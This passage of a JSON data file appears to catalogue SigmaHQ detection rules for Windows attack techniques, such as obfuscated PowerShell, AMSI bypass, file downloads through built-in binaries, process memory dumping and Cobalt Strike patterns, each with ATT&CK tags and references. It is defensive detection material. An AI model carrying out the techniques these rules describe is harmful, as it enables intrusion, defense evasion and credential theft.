            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fca949cc-79ca-446e-8064-01aa7e52ece5",
      "value": "HackTool - PCHunter Execution"
    },
    {
      "description": "Detects Obfuscated use of stdin to execute PowerShell",
      "meta": {
        "author": "Jonathan Cheong, oscd.community",
        "creation_date": "2020/10/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_invoke_obfuscation_stdin.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_stdin.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6c96fc76-0eb1-11eb-adc1-0242ac120002",
      "value": "Invoke-Obfuscation STDIN+ Launcher"
    },
    {
      "description": "Local accounts, System Owner/User discovery using operating systems utilities",
      "meta": {
        "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2019/10/21",
        "falsepositive": [
          "Legitimate administrator or user enumerates local users for legitimate reason"
        ],
        "filename": "proc_creation_win_susp_local_system_owner_account_discovery.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_local_system_owner_account_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033",
          "attack.t1087.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "502b42de-4306-40b4-9596-6f590c81f073",
      "value": "Local Accounts Discovery"
    },
    {
      "description": "Detects the use of Windows Defender MpCmdRun.EXE to download files",
      "meta": {
        "author": "Matthew Matchen",
        "creation_date": "2020/09/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_mpcmdrun_download_arbitrary_file.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20200903194959/https://twitter.com/djmtshepana/status/1301608169496612866",
          "https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mpcmdrun_download_arbitrary_file.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218",
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "46123129-1024-423e-9fae-43af4a0fa9a5",
      "value": "File Download Via Windows Defender MpCmpRun.EXE"
    },
    {
      "description": "Detects base64 encoded strings used in hidden malicious PowerShell command lines",
      "meta": {
        "author": "John Lambert (rule)",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_hidden_b64_cmd.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_hidden_b64_cmd.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f26c6093-6f14-4b12-800f-0fcb46f5ffd0",
      "value": "Malicious Base64 Encoded PowerShell Keywords in Command Lines"
    },
    {
      "description": "The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create \"shortcuts\" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.",
      "meta": {
        "author": "Sreeman",
        "creation_date": "2020/03/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_arbitrary_shell_execution_via_settingcontent.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_arbitrary_shell_execution_via_settingcontent.yml"
        ],
        "tags": [
          "attack.t1204",
          "attack.t1566.001",
          "attack.execution",
          "attack.initial_access"
        ]
      },
      "related": [
        {
          "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "24de4f3b-804c-4165-b442-5a06a2302c7e",
      "value": "Arbitrary Shell Command Execution Via Settingcontent-Ms"
    },
    {
      "description": "Detects new process creation using WMIC via the \"process call create\" flag",
      "meta": {
        "author": "Michael Haag, Florian Roth (Nextron Systems), juju4, oscd.community",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_process_creation.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/84215139ee5127f8e3a117e063b604812bd71928/atomics/T1047/T1047.md#atomic-test-5---wmi-execute-local-process",
          "https://www.sans.org/blog/wmic-for-incident-response/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_process_creation.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047",
          "car.2016-03-002"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "526be59f-a573-4eea-b5f7-f0973207634d",
      "value": "New Process Created Via Wmic.EXE"
    },
    {
      "description": "Detects usage of \"appcmd\" to create new global URL rewrite rules. This behaviour has been observed being used by threat actors to add new rules so they can access their webshells.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/22",
        "falsepositive": [
          "Legitimate usage of appcmd to add new URL rewrite rules"
        ],
        "filename": "proc_creation_win_iis_appcmd_susp_rewrite_rule.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/malmoeb/status/1616702107242971144",
          "https://learn.microsoft.com/en-us/answers/questions/739120/how-to-add-re-write-global-rule-with-action-type-r",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_susp_rewrite_rule.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "7c8af9b2-dcae-41a2-a9db-b28c288b5f08",
      "value": "Suspicious IIS URL GlobalRules Rewrite Via AppCmd"
    },
    {
      "description": "Detects Request to \"amsiInitFailed\" that can be used to disable AMSI Scanning",
      "meta": {
        "author": "Markus Neis, @Kostastsale",
        "creation_date": "2018/08/17",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_powershell_amsi_init_failed_bypass.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/",
          "https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_amsi_init_failed_bypass.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "30edb182-aa75-42c0-b0a9-e998bb29067c",
      "value": "Potential AMSI Bypass Via .NET Reflection"
    },
    {
      "description": "Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Rare legitimate add to registry via cli (to these locations)"
        ],
        "filename": "proc_creation_win_reg_susp_paths.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md",
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.001/T1562.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_susp_paths.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b7e2a8d4-74bb-4b78-adc9-3f92af2d4829",
      "value": "Reg Add Suspicious Paths"
    },
    {
      "description": "There is an option for a MS VS Just-In-Time Debugger \"vsjitdebugger.exe\" to launch specified executable and attach a debugger.\nThis option may be used adversaries to execute malicious code by signed verified binary.\nThe debugger is installed alongside with Microsoft Visual Studio package.\n",
      "meta": {
        "author": "Agro (@agro_sev), Ensar Şamil (@sblmsrsn), oscd.community",
        "creation_date": "2020/10/14",
        "falsepositive": [
          "The process spawned by vsjitdebugger.exe is uncommon."
        ],
        "filename": "proc_creation_win_susp_use_of_vsjitdebugger_bin.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/pabraeken/status/990758590020452353",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/",
          "https://docs.microsoft.com/en-us/visualstudio/debugger/debug-using-the-just-in-time-debugger?view=vs-2019",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_vsjitdebugger_bin.yml"
        ],
        "tags": [
          "attack.t1218",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "15c7904e-6ad1-4a45-9b46-5fb25df37fd2",
      "value": "Malicious PE Execution by Microsoft Visual Studio Debugger"
    },
    {
      "description": "Detects scheduled task creations that have suspicious action command and folder combinations",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/04/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_schtasks_folder_combos.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_folder_combos.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8a8379b8-780b-4dbf-b1e9-31c8d112fefb",
      "value": "Schtasks From Suspicious Folders"
    },
    {
      "description": "Detects the usage of schtasks with the delete flag and the asterisk symbol to delete all tasks from the schedule of the local computer, including tasks scheduled by other users.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/09",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_schtasks_delete_all.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-delete",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_delete_all.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1489"
        ]
      },
      "related": [
        {
          "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
          "tags": [
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          ],
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        }
      ],
      "uuid": "220457c1-1c9f-4c2e-afe6-9598926222c1",
      "value": "Delete All Scheduled Tasks"
    },
    {
      "description": "Detects events that appear when a user click on a link file with a powershell command in it",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/06",
        "falsepositive": [
          "Legitimate commands in .lnk files"
        ],
        "filename": "proc_creation_win_susp_embed_exe_lnk.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.x86matthew.com/view_post?id=embed_exe_lnk",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_embed_exe_lnk.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "30e92f50-bb5a-4884-98b5-d20aa80f3d7a",
      "value": "Hidden Powershell in Link File Pattern"
    },
    {
      "description": "Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud",
      "meta": {
        "author": "Max Altgelt (Nextron Systems)",
        "creation_date": "2022/04/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_node_adobe_creative_cloud_abuse.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/mttaggart/status/1511804863293784064",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_node_adobe_creative_cloud_abuse.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1127",
          "attack.t1059.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        },
        {
          "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "df1f26d3-bea7-4700-9ea2-ad3e990cf90e",
      "value": "Node Process Executions"
    },
    {
      "description": "Detects potential process patterns related to Cobalt Strike beacon activity",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/07/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_cobaltstrike_process_patterns.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://hausec.com/2021/07/26/cobalt-strike-and-tradecraft/",
          "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_process_patterns.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f35c5d71-b489-4e22-a115-f003df287317",
      "value": "Potential CobaltStrike Process Patterns"
    },
    {
      "description": "Detect usage of the \"driverquery\" utility. Which can be used to perform reconnaissance on installed drivers",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/19",
        "falsepositive": [
          "Legitimate use by third party tools in order to investigate installed drivers"
        ],
        "filename": "proc_creation_win_driverquery_usage.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/",
          "https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/",
          "https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_driverquery_usage.yml"
        ],
        "tags": [
          "attack.discovery"
        ]
      },
      "uuid": "a20def93-0709-4eae-9bd2-31206e21e6b2",
      "value": "DriverQuery.EXE Execution"
    },
    {
      "description": "Detects the use of the Microsoft Windows Resource Leak Diagnostic tool \"rdrleakdiag.exe\" to dump process memory",
      "meta": {
        "author": "Cedric MAURUGEON, Florian Roth (Nextron Systems), Swachchhanda Shrawan Poudel, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/09/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rdrleakdiag_process_dumping.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/",
          "https://twitter.com/0gtweet/status/1299071304805560321?s=21",
          "https://www.pureid.io/dumping-abusing-windows-credentials-part-1/",
          "https://lolbas-project.github.io/lolbas/Binaries/Rdrleakdiag/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdrleakdiag_process_dumping.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "edadb1e5-5919-4e4c-8462-a9e643b02c4b",
      "value": "Process Memory Dump via RdrLeakDiag.EXE"
    },
    {
      "description": "Detects usage of bitsadmin downloading a file using an URL that contains an IP",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/06/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_bitsadmin_download_direct_ip.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin",
          "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/",
          "https://isc.sans.edu/diary/22264",
          "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_direct_ip.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1197",
          "attack.s0190",
          "attack.t1036.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "99c840f2-2012-46fd-9141-c761987550ef",
      "value": "Suspicious Download From Direct IP Via Bitsadmin"
    },
    {
      "description": "Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/07/21",
        "falsepositive": [
          "Users that debug Microsoft Intune issues using the commands mentioned in the official documentation; see https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension"
        ],
        "filename": "proc_creation_win_sysinternals_psexesvc_as_system.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexesvc_as_system.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "7c0dcd3d-acf8-4f71-9570-f448b0034f94",
      "value": "PsExec Service Child Process Execution as LOCAL SYSTEM"
    },
    {
      "description": "Detects suspicious mshta process execution patterns",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/07/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_mshta_susp_pattern.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/",
          "https://en.wikipedia.org/wiki/HTML_Application",
          "https://www.echotrail.io/insights/search/mshta.exe",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1106"
        ]
      },
      "related": [
        {
          "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e32f92d1-523e-49c3-9374-bdb13b46a3ba",
      "value": "Suspicious Mshta.EXE Execution Patterns"
    },
    {
      "description": "Detects the execution of certutil with the \"encode\" flag to encode a file to base64 where the extensions of the file is suspicious",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_certutil_encode_susp_extensions.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.virustotal.com/gui/file/4abe1395a09fda06d897a9c4eb247278c1b6cddda5d126ce5b3f4f499e3b8fa2/behavior",
          "https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbfd860fd4778b3313669b057d4a131cb7/behavior",
          "https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior",
          "https://www.virustotal.com/gui/file/34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f/behavior",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_extensions.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ea0cdc3e-2239-4f26-a947-4e8f8224e464",
      "value": "Suspicious File Encoded To Base64 Via Certutil.EXE"
    },
    {
      "description": "Detects execution of \"csc.exe\" to compile .NET code. Attackers often leverage this to compile code on the fly and use it in other stages.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), X__Junior (Nextron Systems)",
        "creation_date": "2019/08/24",
        "falsepositive": [
          "Legitimate software from program files - https://twitter.com/gN3mes1s/status/1206874118282448897",
          "Legitimate Microsoft software - https://twitter.com/gabriele_pippi/status/1206907900268072962",
          "Ansible"
        ],
        "filename": "proc_creation_win_csc_susp_dynamic_compilation.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/gN3mes1s/status/1206874118282448897",
          "https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1027.004/T1027.004.md#atomic-test-1---compile-after-delivery-using-cscexe",
          "https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/",
          "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
          "https://securityboulevard.com/2019/08/agent-tesla-evading-edr-by-removing-api-hooks/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csc_susp_dynamic_compilation.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "dcaa3f04-70c3-427a-80b4-b870d73c94c4",
      "value": "Dynamic .NET Compilation Via Csc.EXE"
    },
    {
      "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218",
          "attack.t1216"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "36475a7d-0f6d-4dce-9b01-6aeb473bbaf1",
      "value": "SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code"
    },
    {
      "description": "Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe",
      "meta": {
        "author": "Austin Songer (@austinsonger)",
        "creation_date": "2021/10/21",
        "falsepositive": [
          "Legitimate usage of stordiag.exe."
        ],
        "filename": "proc_creation_win_stordiag_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/eral4m/status/1451112385041911809",
          "https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stordiag_susp_child_process.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "961e0abb-1b1e-4c84-a453-aafe56ad0d34",
      "value": "Execution via stordiag.exe"
    },
    {
      "description": "Detects the use of NirCmd tool for command execution as SYSTEM user",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/01/24",
        "falsepositive": [
          "Legitimate use by administrators"
        ],
        "filename": "proc_creation_win_pua_nircmd_as_system.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.nirsoft.net/utils/nircmd2.html#using",
          "https://www.nirsoft.net/utils/nircmd.html",
          "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nircmd_as_system.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569.002",
          "attack.s0029"
        ]
      },
      "related": [
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d9047477-0359-48c9-b8c7-792cedcdc9c4",
      "value": "PUA - NirCmd Execution As LOCAL SYSTEM"
    },
    {
      "description": "Uninstall an application with wmic",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/28",
        "falsepositive": [
          "Unknown"
        ],
